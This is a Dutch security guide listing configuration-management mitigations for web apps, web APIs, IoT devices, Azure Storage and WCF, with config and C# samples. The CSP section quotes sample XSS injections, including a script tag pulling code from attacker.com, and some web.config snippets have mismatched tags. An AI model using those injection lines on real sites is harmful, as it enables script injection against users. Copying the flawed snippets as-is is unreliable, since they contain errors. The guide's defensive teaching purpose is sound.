Beveiligingsframe: configuratiebeheer | Oplossingen

Product/service Artikel
Webtoepassing Inhoudsbeveiligingsbeleid (CSP) implementeren en inline JavaScript uitschakelenHet XSS-filter van de browser inschakelenASP.NET toepassingen moeten tracering en foutopsporing uitschakelen vóór de implementatieAlleen toegang tot JavaScripts van derden vanuit vertrouwde bronnenZorg ervoor dat geverifieerde ASP.NET-pagina's UI-herstel of klik-jacking-verdediging bevattenZorg ervoor dat alleen vertrouwde oorsprongen zijn toegestaan als CORS is ingeschakeld op ASP.NET-webtoepassingenHet kenmerk ValidateRequest inschakelen op ASP.NET PagesLokaal gehoste nieuwste versies van JavaScript-bibliotheken gebruikenAutomatische MIME-sniffing uitschakelenStandaardserverheaders op Windows Azure-websites verwijderen om vingerafdrukken te voorkomen
Database Een Windows Firewall configureren voor database-enginetoegang
Web-API Zorg ervoor dat alleen vertrouwde origins zijn toegestaan als CORS is ingeschakeld op ASP.NET web-APISecties van configuratiebestanden van web-API's versleutelen die gevoelige gegevens bevatten
IoT-apparaat Zorg ervoor dat alle beheerinterfaces zijn beveiligd met sterke referentiesZorg ervoor dat onbekende code niet kan worden uitgevoerd op apparatenBesturingssysteem en andere partities van Een IoT-apparaat versleutelen met BitLockerZorg ervoor dat alleen de minimale services/functies zijn ingeschakeld op apparaten
IoT-veldgateway Besturingssysteem en andere partities van IoT Field Gateway versleutelen met BitLockerZorg ervoor dat de standaardaanmeldingsreferenties van de veldgateway zijn gewijzigd tijdens de installatie
IoT-cloudgateway Zorg ervoor dat de cloudgateway een proces implementeert om de firmware van de verbonden apparaten up-to-date te houden
Grens van machinevertrouwen Zorg ervoor dat op apparaten besturingselementen voor eindpuntbeveiliging zijn geconfigureerd volgens het organisatiebeleid
Azure Storage Zorg voor veilig beheer van Azure Storage-toegangssleutelsZorg ervoor dat alleen vertrouwde origins zijn toegestaan als CORS is ingeschakeld in Azure Storage
WCF Servicebeperkingsfunctie van WCF inschakelenWCF-informatievrijgave via metagegevens

Inhoudsbeveiligingsbeleid (CSP) implementeren en inline JavaScript uitschakelen

Titel Details
Onderdeel Webtoepassing
SDL-fase Build
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties An Introduction to Content Security Policy, Content Security Policy Reference, Security features, Introduction to content security policy, Can I use CSP?
Stappen Content Security Policy (CSP) is een beveiligingsmechanisme voor diepgaande verdediging, een W3C-standaard, waarmee eigenaren van webtoepassingen controle kunnen hebben over de inhoud die is ingesloten in hun site. CSP wordt toegevoegd als een HTTP-antwoordheader op de webserver en wordt afgedwongen aan de clientzijde door browsers. Het is een beleid op basis van een toegestane lijst: een website kan een set vertrouwde domeinen declareren van waaruit actieve inhoud, zoals JavaScript, kan worden geladen.

CSP biedt de volgende beveiligingsvoordelen:

Bescherming tegen XSS: Als een pagina kwetsbaar is voor XSS, kan een aanvaller deze op twee manieren misbruiken: Inject <script>malicious code</script>. Deze aanval werkt niet vanwege de basisbeperking van CSP-1Injecteer <script src="http://attacker.com/maliciousCode.js"/>. Deze aanval werkt niet omdat het door de aanvaller beheerde domein niet voorkomt in de lijst met toegestane domeinen van CSPControle over gegevensexfiltratie: Als schadelijke inhoud op een webpagina verbinding probeert te maken met een externe website en gegevens steelt, wordt de verbinding afgebroken door CSP. Dit komt doordat het doeldomein niet in de lijst met toegestane CSP's staatBescherming tegen click-jacking: click-jacking is een aanvalstechniek waarmee een kwaadwillende gebruiker een legitieme website kan omkaderen en gebruikers kan dwingen op UI-elementen te klikken. Momenteel wordt de bescherming tegen click-jacking bereikt door het configureren van een antwoordheader X-Frame-Options. Niet alle browsers respecteren deze header en in de toekomst zal CSP een standaardmethode zijn om te beschermen tegen click-jackingRapportage van realtime aanvallen: Als er een injectieaanval op een website met CSP is ingeschakeld, activeren browsers automatisch een melding voor een eindpunt dat is geconfigureerd op de webserver. Op deze manier fungeert CSP als een realtime waarschuwingssysteem.

Voorbeeld

Voorbeeldbeleid:

Content-Security-Policy: default-src 'self'; script-src 'self' www.google-analytics.com 

Met dit beleid kunnen scripts alleen worden geladen vanaf de server van de webtoepassing en google analytics-server. Scripts die vanaf een andere site zijn geladen, worden geweigerd. Wanneer CSP is ingeschakeld op een website, worden de volgende functies automatisch uitgeschakeld om XSS-aanvallen te beperken.

Voorbeeld

Inlinescripts worden niet uitgevoerd. Hieronder volgen enkele voorbeelden van inlinescripts

<script> some JavaScript code </script>
Event handling attributes of HTML tags (for example, <button onclick="function(){}">
javascript:alert(1);

Voorbeeld

Tekenreeksen worden niet geëvalueerd als code.

Example: var str="alert(1)"; eval(str);

Het XSS-filter van de browser inschakelen

Titel Details
Onderdeel Webtoepassing
SDL-fase Build
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties XSS-beveiligingsfilter
Stappen De configuratie van de X-XSS-Protection-antwoordheader bepaalt het cross-site scriptfilter van de browser. Deze antwoordheader kan de volgende waarden hebben:

0: Hiermee wordt het filter uitgeschakeld1: Filter enabled Als een aanval op meerdere sites wordt gedetecteerd, wordt de pagina door de browser opgeschoond om de aanval te stoppen1: mode=block : Filter enabled. In plaats van de pagina op te ruimen, voorkomt de browser dat de pagina wordt weergegeven wanneer er een XSS-aanval wordt gedetecteerd1: report=http://[YOURDOMAIN]/your_report_URI : Filter enabled. De pagina wordt door de browser opgeschoond en de schending wordt opgegeven.Dit is een Chromium-functie die gebruikmaakt van CSP-schendingsrapporten om details te verzenden naar een URI van uw keuze. De laatste twee opties worden beschouwd als veilige waarden.

ASP.NET toepassingen moeten tracering en foutopsporing uitschakelen vóór de implementatie

Titel Details
Onderdeel Webtoepassing
SDL-fase Build
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties ASP.NET Overzicht van foutopsporing, ASP.NET Overzicht van tracering, Procedure: Tracering inschakelen voor een ASP.NET-toepassing, Procedure: Foutopsporing inschakelen voor ASP.NET-toepassingen
Stappen Wanneer tracering is ingeschakeld voor de pagina, verkrijgt elke browser die deze aanvraagt ook de traceringsinformatie die gegevens over de interne serverstatus en werkstroom bevat. Deze informatie kan beveiligingsgevoelig zijn. Wanneer foutopsporing is ingeschakeld voor de pagina, resulteren fouten op de server in een volledige stack-traceringsgegevens die aan de browser worden gepresenteerd. Deze gegevens kunnen beveiligingsgevoelige informatie over de werkstroom van de server beschikbaar maken.

Alleen toegang tot JavaScripts van derden vanuit vertrouwde bronnen

Titel Details
Onderdeel Webtoepassing
SDL-fase Build
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties N.v.t.
Stappen Er mag alleen vanuit vertrouwde bronnen naar JavaScripts van derden worden verwezen. De referentie-eindpunten moeten zich altijd op TLS bevinden.

Zorg ervoor dat geverifieerde ASP.NET-pagina's UI-herstel of klik-jacking-verdediging bevatten

Titel Details
Onderdeel Webtoepassing
SDL-fase Build
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties OWASP click-jacking Defense Cheat Sheet, IE Internals - Combating click-jacking with X-Frame-Options
Stappen Click-jacking, ook wel een 'UI-herstelaanval' genoemd, is wanneer een aanvaller meerdere transparante of ondoorzichtige lagen gebruikt om een gebruiker te misleiden om op een knop of koppeling op een andere pagina te klikken wanneer deze van plan was om op de pagina op het hoogste niveau te klikken.

Deze gelaagdheid wordt bereikt door een schadelijke pagina te maken met een iframe, die de pagina van het slachtoffer laadt. De aanvaller 'kapt' klikken die bedoeld zijn voor de pagina en routert deze naar een andere pagina, waarschijnlijk eigendom van een andere toepassing, domein of beide. Om click-jacking-aanvallen te voorkomen, stelt u de juiste X-Frame-Options HTTP-antwoordheaders in die de browser instrueren geen framing van andere domeinen toe te staan

Voorbeeld

De X-FRAME-OPTIONS-header kan worden ingesteld via IIS web.config. Web.config codefragment voor sites die nooit in een frame mogen worden weergegeven:

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="DENY"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

Voorbeeld

Web.config code voor sites die alleen moeten worden omkaderd door pagina's in hetzelfde domein:

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="SAMEORIGIN"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

Zorg ervoor dat alleen vertrouwde oorsprongen zijn toegestaan als CORS is ingeschakeld op ASP.NET-webtoepassingen

Titel Details
Onderdeel Webtoepassing
SDL-fase Build
Toepasselijke technologieën Web Forms, MVC5
Kenmerken N.v.t.
Referenties N.v.t.
Stappen Browserbeveiliging voorkomt dat een webpagina AJAX-aanvragen indient bij een ander domein. Deze beperking, die bekendstaat als beleid voor zelfde oorsprong, voorkomt dat een kwaadwillende site gevoelige gegevens leest vanaf een andere site. Soms kan het echter nodig zijn om API's veilig beschikbaar te maken die andere sites kunnen gebruiken. Cors (Cross Origin Resource Sharing) is een W3C-standaard waarmee een server het same-origin-beleid kan versoepelen. Met CORS kan een server expliciet bepaalde cross-origin-aanvragen toestaan terwijl andere worden geweigerd.

CORS is veiliger en flexibeler dan eerdere technieken zoals JSONP. Het inschakelen van CORS vertaalt zich in de kern in het toevoegen van een paar HTTP-antwoordheaders (Access-Control-*) aan de webtoepassing. Dit kan op verschillende manieren worden gedaan.

Voorbeeld

Als toegang tot Web.config beschikbaar is, kan CORS worden toegevoegd via de volgende code:

<system.webServer>
    <httpProtocol>
      <customHeaders>
        <clear />
        <add name="Access-Control-Allow-Origin" value="https://example.com" />
      </customHeaders>
    </httpProtocol>

Voorbeeld

Als er geen toegang tot web.config beschikbaar is, kan CORS worden geconfigureerd door de volgende C#-code toe te voegen:

HttpContext.Response.AppendHeader("Access-Control-Allow-Origin", "https://example.com")

Houd er rekening mee dat het essentieel is om ervoor te zorgen dat de lijst met oorsprongen in het kenmerk Access-Control-Allow-Origin is ingesteld op een eindige en vertrouwde set oorsprongen. Als u dit niet op een onjuiste manier configureert (bijvoorbeeld door de waarde in te stellen op *), kunnen kwaadwillende sites zonder beperkingen cross-origin-aanvragen naar de webtoepassing >activeren, waardoor de toepassing kwetsbaar is voor CSRF-aanvallen.

Het kenmerk ValidateRequest inschakelen op ASP.NET Pages

Titel Details
Onderdeel Webtoepassing
SDL-fase Build
Toepasselijke technologieën Web Forms, MVC5
Kenmerken N.v.t.
Referenties Validatie aanvragen - Scriptaanvallen voorkomen
Stappen Aanvraagvalidatie, een functie van ASP.NET sinds versie 1.1, voorkomt dat de server inhoud met niet-gecodeerde HTML accepteert. Deze functie is ontworpen om sommige aanvallen met scriptinjectie te voorkomen, waarbij clientscriptcode of HTML onbewust naar een server kan worden verzonden, kan worden opgeslagen en vervolgens aan andere gebruikers kan worden gepresenteerd. We raden u nog steeds ten zeerste aan om alle invoergegevens te valideren en deze indien nodig met HTML te coderen.

Aanvraagvalidatie wordt uitgevoerd door alle invoergegevens te vergelijken met een lijst met mogelijk gevaarlijke waarden. Als er een overeenkomst optreedt, genereert ASP.NET een HttpRequestValidationException. De functie Validatie aanvragen is standaard ingeschakeld.

Voorbeeld

Deze functie kan echter worden uitgeschakeld op paginaniveau:

<%@ Page validateRequest="false" %> 

of, op toepassingsniveau

<configuration>
   <system.web>
      <pages validateRequest="false" />
   </system.web>
</configuration>

De functie Validatie aanvragen wordt niet ondersteund en maakt geen deel uit van de MVC6-pijplijn.

Lokaal gehoste nieuwste versies van JavaScript-bibliotheken gebruiken

Titel Details
Onderdeel Webtoepassing
SDL-fase Build
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties N.v.t.
Stappen Ontwikkelaars die standaard JavaScript-bibliotheken zoals JQuery gebruiken, moeten goedgekeurde versies van algemene JavaScript-bibliotheken gebruiken die geen bekende beveiligingsfouten bevatten. Het wordt aanbevolen om de meest recente versie van de bibliotheken te gebruiken, omdat deze beveiligingspatches bevatten voor bekende beveiligingsproblemen in hun oudere versies.

Als de meest recente release niet kan worden gebruikt vanwege compatibiliteitsredenen, moeten de onderstaande minimumversies worden gebruikt.

Acceptabele minimumversies:

Jquery JQuery 1.7.1JQueryUI 1.10.0JQuery Validate 1.9JQuery Mobile 1.0.1JQuery-cyclus 2.99JQuery DataTables 1.9.0Ajax Control Toolkit Ajax Control Toolkit 40412ASP.NET Web Forms en Ajax ASP.NET Web Forms en Ajax 4ASP.NET Ajax 3.5ASP.NET MVCASP.NET MVC 3.0Laad nooit een JavaScript-bibliotheek van externe sites, zoals openbare CDN's

Automatische MIME-sniffing uitschakelen

Titel Details
Onderdeel Webtoepassing
SDL-fase Build
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties IE8-beveiliging deel V: uitgebreide beveiliging, MIME-type
Stappen De X-Content-Type-Options-header is een HTTP-header waarmee ontwikkelaars kunnen opgeven dat hun inhoud niet mime-sniffed mag zijn. Deze header is ontworpen om MIME-Sniffing aanvallen te beperken. Voor elke pagina die door de gebruiker controleerbare inhoud kan bevatten, moet u de HTTP-header X-Content-Type-Options:nosniff gebruiken. Als u de vereiste header globaal wilt inschakelen voor alle pagina's in de toepassing, kunt u een van de volgende handelingen uitvoeren

Voorbeeld

Voeg de header toe aan het web.config-bestand als de toepassing wordt gehost door Internet Information Services (IIS) 7 en hoger.

<system.webServer>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="nosniff"/>
</customHeaders>
</httpProtocol>
</system.webServer>

Voorbeeld

Voeg de header toe via de globale Application_BeginRequest

void Application_BeginRequest(object sender, EventArgs e)
{
this.Response.Headers["X-Content-Type-Options"] = "nosniff";
}

Voorbeeld

Aangepaste HTTP-module implementeren

public class XContentTypeOptionsModule : IHttpModule
{
#region IHttpModule Members
public void Dispose()
{
}
public void Init(HttpApplication context)
{
context.PreSendRequestHeaders += newEventHandler(context_PreSendRequestHeaders);
}
#endregion
void context_PreSendRequestHeaders(object sender, EventArgs e)
{
HttpApplication application = sender as HttpApplication;
if (application == null)
  return;
if (application.Response.Headers["X-Content-Type-Options "] != null)
  return;
application.Response.Headers.Add("X-Content-Type-Options ", "nosniff");
}
}

Voorbeeld

U kunt de vereiste koptekst alleen voor specifieke pagina's inschakelen door deze toe te voegen aan afzonderlijke antwoorden:

this.Response.Headers["X-Content-Type-Options"] = "nosniff";

Standaardserverheaders verwijderen op Windows Azure-websites om vingerafdruk te voorkomen

Titel Details
Onderdeel Webtoepassing
SDL-fase Build
Toepasselijke technologieën Algemeen
Kenmerken EnvironmentType - Azure
Referenties Standaardserverheaders verwijderen op Windows Azure-websites
Stappen Headers zoals Server, X-Powered-By, X-AspNet-Version onthullen informatie over de server en de onderliggende technologieën. Het wordt aanbevolen om deze headers te onderdrukken, waardoor vingerafdruk van de toepassing wordt voorkomen

Een Windows Firewall configureren voor database-enginetoegang

Titel Details
Onderdeel Database
SDL-fase Build
Toepasselijke technologieën SQL Azure, OnPrem
Kenmerken N.v.v. SQL-versie - V12
Referenties Een Azure SQL Database-firewall configureren, Een Windows Firewall configureren voor database-enginetoegang
Stappen Firewallsystemen helpen onbevoegde toegang tot computerresources te voorkomen. Als u toegang wilt krijgen tot een exemplaar van de SQL Server Database Engine via een firewall, moet u de firewall op de computer met SQL Server configureren om toegang toe te staan

Zorg ervoor dat alleen vertrouwde origins zijn toegestaan als CORS is ingeschakeld op ASP.NET web-API

Titel Details
Onderdeel Web-API
SDL-fase Build
Toepasselijke technologieën MVC 5
Kenmerken N.v.t.
Referenties Cross-Origin-aanvragen inschakelen in ASP.NET Web API 2, ASP.NET Web-API - CORS-ondersteuning in ASP.NET Web API 2
Stappen Browserbeveiliging voorkomt dat een webpagina AJAX-aanvragen indient bij een ander domein. Deze beperking, die bekendstaat als beleid voor zelfde oorsprong, voorkomt dat een kwaadwillende site gevoelige gegevens leest vanaf een andere site. Soms kan het echter nodig zijn om API's veilig beschikbaar te maken die andere sites kunnen gebruiken. Cors (Cross Origin Resource Sharing) is een W3C-standaard waarmee een server het same-origin-beleid kan versoepelen.

Met CORS kan een server expliciet bepaalde cross-origin-aanvragen toestaan terwijl andere worden geweigerd. CORS is veiliger en flexibeler dan eerdere technieken zoals JSONP.

Voorbeeld

Voeg in de App_Start/WebApiConfig.cs de volgende code toe aan de methode WebApiConfig.Register

using System.Web.Http;
namespace WebService
{
    public static class WebApiConfig
    {
        public static void Register(HttpConfiguration config)
        {
            // New code
            config.EnableCors();

            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );
        }
    }
}

Voorbeeld

Het kenmerk EnableCors kan als volgt worden toegepast op actiemethoden in een controller:

public class ResourcesController : ApiController
{
  [EnableCors("http://localhost:55912", // Origin
              null,                     // Request headers
              "GET",                    // HTTP methods
              "bar",                    // Response headers
              SupportsCredentials=true  // Allow credentials
  )]
  public HttpResponseMessage Get(int id)
  {
    var resp = Request.CreateResponse(HttpStatusCode.NoContent);
    resp.Headers.Add("bar", "a bar value");
    return resp;
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "PUT",                          // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "POST",                         // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
}

Houd er rekening mee dat het essentieel is om ervoor te zorgen dat de lijst met oorsprongen in het kenmerk EnableCors is ingesteld op een eindige en vertrouwde set oorsprongen. Als u dit niet op een ongepaste manier configureert (bijvoorbeeld door de waarde in te stellen op *), kunnen kwaadwillende sites zonder beperkingen cross-origin-aanvragen naar de API activeren, >waardoor de API kwetsbaar is voor CSRF-aanvallen. EnableCors kan worden ingericht op controllerniveau.

Voorbeeld

Als u CORS wilt uitschakelen voor een bepaalde methode in een klasse, kan het kenmerk DisableCors worden gebruikt zoals hieronder wordt weergegeven:

[EnableCors("https://example.com", "Accept, Origin, Content-Type", "POST")]
public class ResourcesController : ApiController
{
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  // CORS not allowed because of the [DisableCors] attribute
  [DisableCors]
  public HttpResponseMessage Delete(int id)
  {
    return Request.CreateResponse(HttpStatusCode.NoContent);
  }
}
Titel Details
Onderdeel Web-API
SDL-fase Build
Toepasselijke technologieën MVC 6
Kenmerken N.v.t.
Referenties Cross-Origin-aanvragen (CORS) inschakelen in ASP.NET Core 1.0
Stappen In ASP.NET Core 1.0 kan CORS worden ingeschakeld met behulp van middleware of MVC. Wanneer u MVC gebruikt om CORS in te schakelen, worden dezelfde CORS-services gebruikt, maar de CORS-middleware niet.

Benadering-1 CORS inschakelen met middleware: als u CORS voor de hele toepassing wilt inschakelen, voegt u de CORS-middleware toe aan de aanvraagpijplijn met behulp van de UseCors-extensiemethode. Er kan een cross-origin-beleid worden opgegeven bij het toevoegen van de CORS-middleware met behulp van de corsPolicyBuilder-klasse. U kunt dit op twee manieren doen:

Voorbeeld

De eerste is om UseCors aan te roepen met een lambda. De lambda neemt een CorsPolicyBuilder-object:

public void Configure(IApplicationBuilder app)
{
    app.UseCors(builder =>
        builder.WithOrigins("https://example.com")
        .WithMethods("GET", "POST", "HEAD")
        .WithHeaders("accept", "content-type", "origin", "x-custom-header"));
}

Voorbeeld

De tweede is om een of meer benoemde CORS-beleidsregels te definiëren en het beleid vervolgens op naam te selecteren tijdens runtime.

public void ConfigureServices(IServiceCollection services)
{
    services.AddCors(options =>
    {
        options.AddPolicy("AllowSpecificOrigin",
            builder => builder.WithOrigins("https://example.com"));
    });
}
public void Configure(IApplicationBuilder app)
{
    app.UseCors("AllowSpecificOrigin");
    app.Run(async (context) =>
    {
        await context.Response.WriteAsync("Hello World!");
    });
}

Aanpak-2 CORS inschakelen in MVC: ontwikkelaars kunnen ook MVC gebruiken om specifieke CORS toe te passen per actie, per controller of globaal voor alle controllers.

Voorbeeld

Per actie: als u een CORS-beleid voor een specifieke actie wilt opgeven, voegt u het kenmerk [EnableCors] toe aan de actie. Geef de naam van het beleid op.

public class HomeController : Controller
{
    [EnableCors("AllowSpecificOrigin")] 
    public IActionResult Index()
    {
        return View();
    }

Voorbeeld

Per controller:

[EnableCors("AllowSpecificOrigin")]
public class HomeController : Controller
{

Voorbeeld

Wereldwijd:

public void ConfigureServices(IServiceCollection services)
{
    services.AddMvc();
    services.Configure<MvcOptions>(options =>
    {
        options.Filters.Add(new CorsAuthorizationFilterFactory("AllowSpecificOrigin"));
    });
}

Houd er rekening mee dat het essentieel is om ervoor te zorgen dat de lijst met oorsprongen in het kenmerk EnableCors is ingesteld op een eindige en vertrouwde set oorsprongen. Als u dit niet op een ongepaste manier configureert (bijvoorbeeld door de waarde in te stellen op *), kunnen kwaadwillende sites zonder beperkingen cross-origin-aanvragen naar de API activeren, >waardoor de API kwetsbaar is voor CSRF-aanvallen.

Voorbeeld

Als u CORS wilt uitschakelen voor een controller of actie, gebruikt u het kenmerk [DisableCors].

[DisableCors]
    public IActionResult About()
    {
        return View();
    }

Secties van configuratiebestanden van web-API's versleutelen die gevoelige gegevens bevatten

Titel Details
Onderdeel Web-API
SDL-fase Implementatie
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties Procedure: Configuratiesecties versleutelen in ASP.NET 2.0 met dpapi, een beveiligde configuratieprovider opgeven, Azure Key Vault gebruiken om toepassingsgeheimen te beveiligen
Stappen Configuratiebestanden zoals de Web.config en appsettings.json worden vaak gebruikt voor het opslaan van gevoelige informatie, zoals gebruikersnamen, wachtwoorden, databaseverbindingsreeksen en versleutelingssleutels. Als u deze gegevens niet beveiligt, is uw toepassing kwetsbaar voor aanvallers of kwaadwillende gebruikers die gevoelige informatie verkrijgen, zoals gebruikersnamen en wachtwoorden van accounts, databasenamen en servernamen. Op basis van het implementatietype (azure/on-prem) versleutelt u de gevoelige secties van configuratiebestanden met behulp van DPAPI of services zoals Azure Key Vault.

Zorg ervoor dat alle beheerinterfaces zijn beveiligd met sterke referenties

Titel Details
Onderdeel IoT-apparaat
SDL-fase Implementatie
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties N.v.t.
Stappen Alle beheerinterfaces die het apparaat of de veldgateway beschikbaar maakt, moeten worden beveiligd met sterke referenties. Ook alle andere beschikbare interfaces, zoals WiFi, SSH, bestandsshares, FTP, moeten worden beveiligd met sterke referenties. Standaard zwakke wachtwoorden mogen niet worden gebruikt.

Zorg ervoor dat onbekende code niet kan worden uitgevoerd op apparaten

Titel Details
Onderdeel IoT-apparaat
SDL-fase Build
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties Beveiligd opstarten en BitLocker-apparaatversleuteling inschakelen op Windows 10 IoT Core
Stappen UEFI Secure Boot beperkt het systeem tot het uitvoeren van binaire bestanden die zijn ondertekend door een opgegeven instantie. Deze functie voorkomt dat onbekende code wordt uitgevoerd op het platform en mogelijk de beveiligingsstatus ervan verzwakt. Schakel UEFI Beveiligd opstarten in en beperk de lijst met certificeringsinstanties die worden vertrouwd voor het ondertekenen van code. Onderteken alle code die op het apparaat is geïmplementeerd met behulp van een van de vertrouwde instanties.

Besturingssysteem en andere partities van Een IoT-apparaat versleutelen met BitLocker

Titel Details
Onderdeel IoT-apparaat
SDL-fase Build
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties N.v.t.
Stappen Windows 10 IoT Core implementeert een lichtgewicht versie van BitLocker-apparaatversleuteling, die sterk afhankelijk is van de aanwezigheid van een TPM op het platform, inclusief het noodzakelijke preOS-protocol in UEFI dat de benodigde metingen uitvoert. Deze preOS-metingen zorgen ervoor dat het besturingssysteem later een definitieve record heeft van hoe het besturingssysteem is gestart. Versleutel besturingssysteempartities met BitLocker en eventuele andere partities, ook voor het geval ze gevoelige gegevens opslaan.

Zorg ervoor dat alleen de minimale services/functies zijn ingeschakeld op apparaten

Titel Details
Onderdeel IoT-apparaat
SDL-fase Implementatie
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties N.v.t.
Stappen Schakel geen functies of services in het besturingssysteem in of uit die niet vereist zijn voor de werking van de oplossing. Als voor het apparaat bijvoorbeeld geen gebruikersinterface is geïmplementeerd, installeert u Windows IoT Core in de headless-modus.

Besturingssysteem en andere partities van IoT Field Gateway versleutelen met BitLocker

Titel Details
Onderdeel IoT-veldgateway
SDL-fase Implementatie
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties N.v.t.
Stappen Windows 10 IoT Core implementeert een lichtgewicht versie van BitLocker-apparaatversleuteling, die sterk afhankelijk is van de aanwezigheid van een TPM op het platform, inclusief het noodzakelijke preOS-protocol in UEFI dat de benodigde metingen uitvoert. Deze preOS-metingen zorgen ervoor dat het besturingssysteem later een definitieve record heeft van hoe het besturingssysteem is gestart. Versleutel besturingssysteempartities met BitLocker en eventuele andere partities, ook voor het geval ze gevoelige gegevens opslaan.

Zorg ervoor dat de standaardaanmeldingsreferenties van de veldgateway zijn gewijzigd tijdens de installatie

Titel Details
Onderdeel IoT-veldgateway
SDL-fase Implementatie
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties N.v.t.
Stappen Zorg ervoor dat de standaardaanmeldingsreferenties van de veldgateway zijn gewijzigd tijdens de installatie

Zorg ervoor dat de cloudgateway een proces implementeert om de firmware van de verbonden apparaten up-to-date te houden

Titel Details
Onderdeel IoT-cloudgateway
SDL-fase Build
Toepasselijke technologieën Algemeen
Kenmerken Gatewaykeuze - Azure IoT Hub
Referenties IoT Hub Apparaatbeheer Overzicht, Apparaatupdate voor Azure IoT Hub zelfstudie met behulp van de Raspberry Pi 3 B + Referentie-afbeelding.
Stappen LWM2M is een protocol van de Open Mobile Alliance for IoT Apparaatbeheer. Met Azure IoT-apparaatbeheer kunt u communiceren met fysieke apparaten met behulp van apparaattaken. Zorg ervoor dat de cloudgateway een proces implementeert om het apparaat en andere configuratiegegevens regelmatig up-to-date te houden met behulp van Azure IoT Hub Apparaatbeheer.

Zorg ervoor dat op apparaten besturingselementen voor eindpuntbeveiliging zijn geconfigureerd volgens het organisatiebeleid

Titel Details
Onderdeel Grens van machinevertrouwen
SDL-fase Implementatie
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties N.v.t.
Stappen Zorg ervoor dat apparaten eindpuntbeveiligingsmaatregelen hebben, zoals BitLocker voor versleuteling op schijfniveau, antivirussoftware met bijgewerkte handtekeningen, hostgebaseerde firewall, besturingssysteemupgrades, groepsbeleid, enzovoort, zijn geconfigureerd volgens het beveiligingsbeleid van de organisatie.

Zorg voor veilig beheer van Azure Storage-toegangssleutels

Titel Details
Onderdeel Azure Storage
SDL-fase Implementatie
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties Beveiligingshandleiding voor Azure Storage - Uw opslagaccountsleutels beheren
Stappen Sleutelopslag: het wordt aanbevolen om de Azure Storage-toegangssleutels in Azure Key Vault op te slaan als een geheim en de toepassingen de sleutel uit de sleutelkluis op te laten halen. Dit wordt aanbevolen om de volgende redenen:

De opslagsleutel wordt nooit vastgelegd in een configuratiebestand, waardoor iemand zonder specifieke toestemming toegang krijgt tot de sleutels wordt verwijderdToegang tot de sleutels kan worden beheerd met behulp van Azure Active Directory. Dit betekent dat een accounteigenaar toegang kan verlenen tot de handvol toepassingen die de sleutels moeten ophalen uit Azure Key Vault. Andere toepassingen hebben geen toegang tot de sleutels zonder hen specifiek toestemming te gevenSleutelherstel: het wordt aanbevolen om om veiligheidsredenen een proces te hebben om azure-opslagtoegangssleutels opnieuw te genereren. Meer informatie over waarom en hoe u het opnieuw genereren van sleutels kunt plannen, vindt u in het naslagartikel over de Beveiligingshandleiding voor Azure Storage

Zorg ervoor dat alleen vertrouwde origins zijn toegestaan als CORS is ingeschakeld in Azure Storage

Titel Details
Onderdeel Azure Storage
SDL-fase Build
Toepasselijke technologieën Algemeen
Kenmerken N.v.t.
Referenties CORS-ondersteuning voor Azure Storage Services
Stappen Met Azure Storage kunt u CORS – Cross Origin Resource Sharing inschakelen. Voor elk opslagaccount kunt u domeinen opgeven die toegang hebben tot de resources in dat opslagaccount. CORS is standaard uitgeschakeld voor alle services. U kunt CORS inschakelen met behulp van de REST API of de opslagclientbibliotheek om een van de methoden aan te roepen om het servicebeleid in te stellen.

Servicebeperkingsfunctie van WCF inschakelen

Titel Details
Onderdeel WCF
SDL-fase Build
Toepasselijke technologieën .NET Framework 3
Kenmerken N.v.t.
Referenties MSDN, Fortify Kingdom
Stappen Het niet beperken van het gebruik van systeemresources kan leiden tot uitputting van resources en uiteindelijk een Denial of Service.

UITLEG: Windows Communication Foundation (WCF) biedt de mogelijkheid om serviceaanvragen te beperken. Als u te veel clientaanvragen toestaat, kan een systeem worden overspoeld en de resources worden uitgeput. Aan de andere kant kan het toestaan van slechts een klein aantal aanvragen voor een service voorkomen dat legitieme gebruikers de service gebruiken. Elke service moet afzonderlijk worden afgestemd op en geconfigureerd om de juiste hoeveelheid resources toe te staan.AANBEVELINGEN Schakel de servicebeperkingsfunctie van WCF in en stel limieten in die geschikt zijn voor uw toepassing.

Voorbeeld

Hier volgt een voorbeeldconfiguratie waarbij beperking is ingeschakeld:

<system.serviceModel> 
  <behaviors>
    <serviceBehaviors>
    <behavior name="Throttled">
    <serviceThrottling maxConcurrentCalls="[YOUR SERVICE VALUE]" maxConcurrentSessions="[YOUR SERVICE VALUE]" maxConcurrentInstances="[YOUR SERVICE VALUE]" /> 
  ...
</system.serviceModel> 

